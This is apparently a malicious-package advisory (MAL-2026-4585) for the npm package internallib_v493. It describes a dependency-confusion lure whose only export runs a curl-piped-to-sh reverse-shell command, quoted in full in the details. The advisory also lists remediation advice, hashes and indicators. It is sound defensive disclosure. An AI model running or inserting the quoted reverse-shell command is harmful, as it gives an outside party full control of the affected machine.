MAL-2026-4585

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Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v493/MAL-2026-4585.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-4585

Aliases

GHSA-cmv7-95wv-gm8h

Published

2026-05-22T01:24:23Z

Modified

2026-08-20T13:45:12Z

Summary

Malicious code in internallib_v493 (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7)

The package's sole exported function command() in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly to sh to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (internallib_v493) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (reuquire instead of require) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.

Source: ghsa-malware (4a0447b2baaf3f0997d8220e97fa8e69523cb52b7a4b1f049377044b2d1fe97d)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific

{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-004112",
            "import_time": "2026-05-26T05:51:57.765013526Z",
            "modified_time": "2026-05-22T01:27:25Z",
            "sha256": "5212257564fabb7f11b34470ea266dd958cc2379cd211d57705e158c96fdaf75",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ]
        },
        {
            "id": "IN-MAL-2026-004113",
            "import_time": "2026-05-26T05:51:57.860862258Z",
            "modified_time": "2026-05-22T01:30:33Z",
            "sha256": "5ab65af9adef5ba807215c2e5880c940bf73f7c4312bc90c1bd21df1246f6931",
            "source": "amazon-inspector",
            "versions": [
                "1.0.4"
            ]
        },
        {
            "id": "IN-MAL-2026-004111",
            "import_time": "2026-05-26T05:51:57.661975934Z",
            "modified_time": "2026-05-22T01:24:23Z",
            "sha256": "67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "GHSA-cmv7-95wv-gm8h",
            "import_time": "2026-08-20T13:33:26.048884003Z",
            "modified_time": "2026-08-20T13:01:08Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "4a0447b2baaf3f0997d8220e97fa8e69523cb52b7a4b1f049377044b2d1fe97d",
            "source": "ghsa-malware"
        }
    ]
}

References

Credits

- Amazon Inspector - FINDER
- - actran@amazon.com

Affected packages

npm / internallib_v493

Package

Name: internallib_v493; View open source insights on deps.dev
Purl: pkg:npm/internallib_v493

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Affected versions

1.*

1.0.2

1.0.3

1.0.4

Database specific

cwes

[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]

indicators

{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "45c455288053ae5841b51a5d097f228a5aa8746fc0b18d693cb51a2d679f2e54",
            "tlsh": "84d023f6d44507ae734c37e6dd11f0656857dc20653951e0fa445152141b84e32111fb"
        },
        {
            "path": "package.json",
            "sha256": "2513063aaea22f6266eab6a9ba65e34943f833bb43380af1dc08a4ad7286ec88",
            "tlsh": "cbd0a9240a221833a5c9032a0caa9482b2208f3f10807c08139b182c40dfab3acfa31c"
        }
    ],
    "package_integrity": [
        {
            "filename": "internallib_v493-1.0.3.tgz",
            "hashes": {
                "sha1": "b4b79317eada40d14a030c54a0fe5febceedd29e",
                "sha512_sri": "sha512-n13Ff8KR7++ShbccrgieTpX2RCw1FphudmBj22kXbySK7gyfRY3TGyWTBL2nTu6XrjZATIa1FNBu+5W9whmm8Q=="
            }
        }
    ]
}

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v493/MAL-2026-4585.json"